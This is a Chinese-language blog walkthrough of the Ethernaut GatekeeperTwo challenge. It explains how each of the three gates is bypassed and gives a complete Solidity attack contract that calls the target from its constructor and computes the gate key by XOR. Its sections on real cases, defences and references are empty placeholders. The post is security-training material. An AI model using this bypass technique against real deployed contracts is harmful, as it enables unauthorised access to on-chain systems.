# 智能合约黑客攻击 Ethernaut:  
 14. GatekeeperTwo

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

把自己设置为 entrant

Hack思路
------

三个关卡

*   gateOne 和上一关一样，用一个合约转一下
    
*   gateTwo 要求被调用方没有执行代码，只能在合约创建时进行攻击
    
*   gateThree 当前地址后 8个字节做取反运算
    

    interface IGatekeeperTwo {
        function enter(bytes8 _gateKey) external returns (bool);
    }
    
    contract GatekeeperTwoHack {
        uint64 _gateKey;
        IGatekeeperTwo public exploitInst;
    
        constructor(address _target) {
            exploitInst = IGatekeeperTwo(_target);
            unchecked {
                _gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max;
            }
            exploitInst.enter(bytes8(_gateKey));
        }
    }
    

Hack案例
------

…

防范思路
----

…

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-14-gatekeepertwo)*
